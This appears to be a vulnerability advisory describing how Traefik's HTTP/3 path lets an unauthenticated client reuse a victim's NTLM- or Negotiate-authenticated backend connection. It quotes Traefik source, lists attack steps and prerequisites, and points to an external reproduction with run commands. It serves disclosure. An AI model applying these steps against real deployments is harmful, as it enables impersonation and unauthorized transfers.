<details> <summary>Original Description</summary>

Traefik HTTP/3 Backend NTLM Connection Reuse

Summary Traefik's HTTP/3 request path does not initialize the connection-scoped backend transport state that Traefik uses to isolate connection-bound NTLM and Negotiate authentication for HTTP/1.1 and HTTP/2. When a backend keeps authenticated identity on a persistent HTTP/1.1 TCP connection, an unrelated HTTP/3 client can reuse a victim-authenticated backend connection and inherit that backend identity.

In the attached reproduction, the HTTPS/HTTP/1.1 control case behaves correctly and isolates the attacker, but the HTTP/3 case allows a second unauthenticated client to read victim-only data and execute a state-changing request as actor=victim.

Validated target: - Repository: traefik/traefik - Commit: f2d0794417e4d06343e6e7c4722143f5b34bee45 - Validation time: 2026-08-25T06:48:02Z - Commit time: 2026-08-24T08:26:06Z - Patched status: not evaluated

Details The issue is caused by a protocol-parity gap between the normal TCP HTTP entrypoint path and the HTTP/3 entrypoint path.

For HTTP/1.1 and HTTP/2, Traefik explicitly creates a connection-scoped holder that can later store a dedicated RoundTripper for NTLM or Negotiate:

go // pkg/server/serverentrypointtcp.go:691-703 var connContext multipleConnContext connContext.AddConnContextFunc(func(ctx context.Context, c net.Conn) context.Context { // This adds an empty struct in order to store a RoundTripper in the ConnContext in case of Kerberos or NTLM. ctx = service.AddTransportOnContext(ctx)

if tlsConn, ok := c.(tls.Conn); ok { if tlsConnWithOptionsName, ok := tlsConn.NetConn().(tcp.TLSConn); ok { return tcp.AddTLSOptionsNameInContext(ctx, tlsConnWithOptionsName.TLSOptionsName) } }

return ctx })

That helper installs the per-connection holder, and kerberosRoundTripper depends on it. If the holder is absent, it falls back to the shared original backend transport. If NTLM or Negotiate is detected, it stores a dedicated cloned RoundTripper into that holder so future requests stay on the authenticated backend connection:

go // pkg/server/service/transport.go:374-402 func AddTransportOnContext(ctx context.Context) context.Context { return context.WithValue(ctx, transportKey, &stickyRoundTripper{}) }

type kerberosRoundTripper struct { new func() http.RoundTripper OriginalRoundTripper http.RoundTripper }

func (k kerberosRoundTripper) RoundTrip(request http.Request) (http.Response, error) { value, ok := request.Context().Value(transportKey).(stickyRoundTripper) if !ok { return k.OriginalRoundTripper.RoundTrip(request) }

if value.RoundTripper != nil { return value.RoundTripper.RoundTrip(request) }

resp, err := k.OriginalRoundTripper.RoundTrip(request)

// If we found that we are authenticating with Kerberos (Negotiate) or NTLM. // We put a dedicated roundTripper in the ConnContext. // This will stick the next calls to the same connection with the backend. if err == nil && containsNTLMorNegotiate(resp.Header.Values("WWW-Authenticate")) { value.RoundTripper = k.new() } return resp, err }

For HTTP/3, the server reuses the normal HTTPS handler chain, but its ConnContext only propagates the TLS options name and does not call service.AddTransportOnContext:

go // pkg/server/serverentrypointtcphttp3.go:65-80 h3.Server = &http3.Server{ Addr: config.GetAddress(), Port: config.HTTP3.AdvertisedPort, Handler: httpsServer.Server.(http.Server).Handler, TLSConfig: &tls.Config{GetConfigForClient: h3.getTLSConfigForClient}, QUICConfig: &quic.Config{ Allow0RTT: false, }, ConnContext: func(ctx context.Context, c quic.Conn) context.Context { tlsOptionsName, err := h3.getTLSOptionsName(c) if err != nil { log.Error().Msgf("Error getting TLS options name for client: %v", err) return ctx } return tcp.AddTLSOptionsNameInContext(ctx, tlsOptionsName) }, }

This means HTTP/3 requests reach the same reverse-proxy and backend transport logic as HTTPS, but without the connection-scoped transport holder that NTLM and Negotiate isolation relies on.

In practice, the flow is: 1. A victim authenticates through Traefik to a backend that binds identity to the backend TCP connection using NTLM or Negotiate. 2. Because the HTTP/3 request context does not contain transportKey, kerberosRoundTripper uses the shared OriginalRoundTripper. 3. No frontend-connection-specific dedicated backend pool is installed for that HTTP/3 client. 4. A second unrelated HTTP/3 client can be assigned the same backend TCP connection after the victim has authenticated it. 5. That second client inherits the victim's backend identity without sending the victim's credentials.

The attached verifier demonstrates both the negative control and the exploit path: - HTTPS/HTTP/1.1 control case: the attacker uses a separate frontend connection and correctly receives 401 - HTTP/3 exploit case: the attacker uses a separate HTTP/3 client with no Authorization header, reads resource=secret actor=victim, executes action=transfer actor=victim to=attacker amount=5000, and hits the same backend TCP connection identifier as the victim

PoC

See the reproduction materials at: https://gist.github.com/OneZ3r0/41da8e8b79ebbe444a94f8a2a3a30895

The gist can also be downloaded as a ZIP archive.

Files included in this gist: - run.sh - Dockerfile - .dockerignore - go.mod - go.sum - verify.go

The package is intentionally kept as a single-container reproduction: 1. run.sh builds a local image for the pinned target commit 2. the Dockerfile builds both Traefik and the verifier during image build 3. the container runs the verifier directly as its entrypoint 4. the verifier starts a synthetic backend, launches Traefik, runs the HTTPS/HTTP/1.1 control case, then runs the HTTP/3 exploit case

Run:

bash ./run.sh

run.sh defaults to the validated commit above. To override it explicitly:

bash PRODUCTCOMMIT=f2d0794417e4d06343e6e7c4722143f5b34bee45 ./run.sh

Expected terminal result:

text REPRODUCED: HTTP/1.1 isolates the authenticated backend connection, but HTTP/3 reuses the victim-authenticated backend connection for a different client and executes an unauthorized state-changing request as the victim.

Important observed behavior from the PoC: - the HTTP/1.1 control case succeeds only if a fresh attacker connection receives 401 - the HTTP/3 exploit case succeeds only if the attacker reads victim-only data without sending Authorization - the HTTP/3 exploit case succeeds only if the attacker performs /transfer?to=attacker&amount=5000 as actor=victim - the HTTP/3 exploit case succeeds only if the attacker uses the same backend TCP connection identifier as the victim

Environment notes: - Docker is required - the build fetches the target Traefik source from GitHub - no production credentials or external NTLM service are required; the verifier includes a synthetic NTLM-like backend specifically to demonstrate connection-bound identity reuse

Impact This is a cross-client authorization bypass affecting deployments that expose HTTP/3 routes to backends using connection-bound NTLM or Negotiate authentication with persistent backend connection reuse.

In the verified reproduction, an unauthenticated second client can: - read victim-only data - perform a state-changing action as the victim - reuse a backend TCP connection that has already been authenticated as the victim

Attack prerequisites: - HTTP/3 enabled on the Traefik entrypoint - a routed backend using connection-bound NTLM or Negotiate authentication - backend keep-alive and backend connection reuse enabled - the attacker can reach the same route as the victim

Deployments using ordinary per-request authentication are not affected by this specific issue.

</details> ---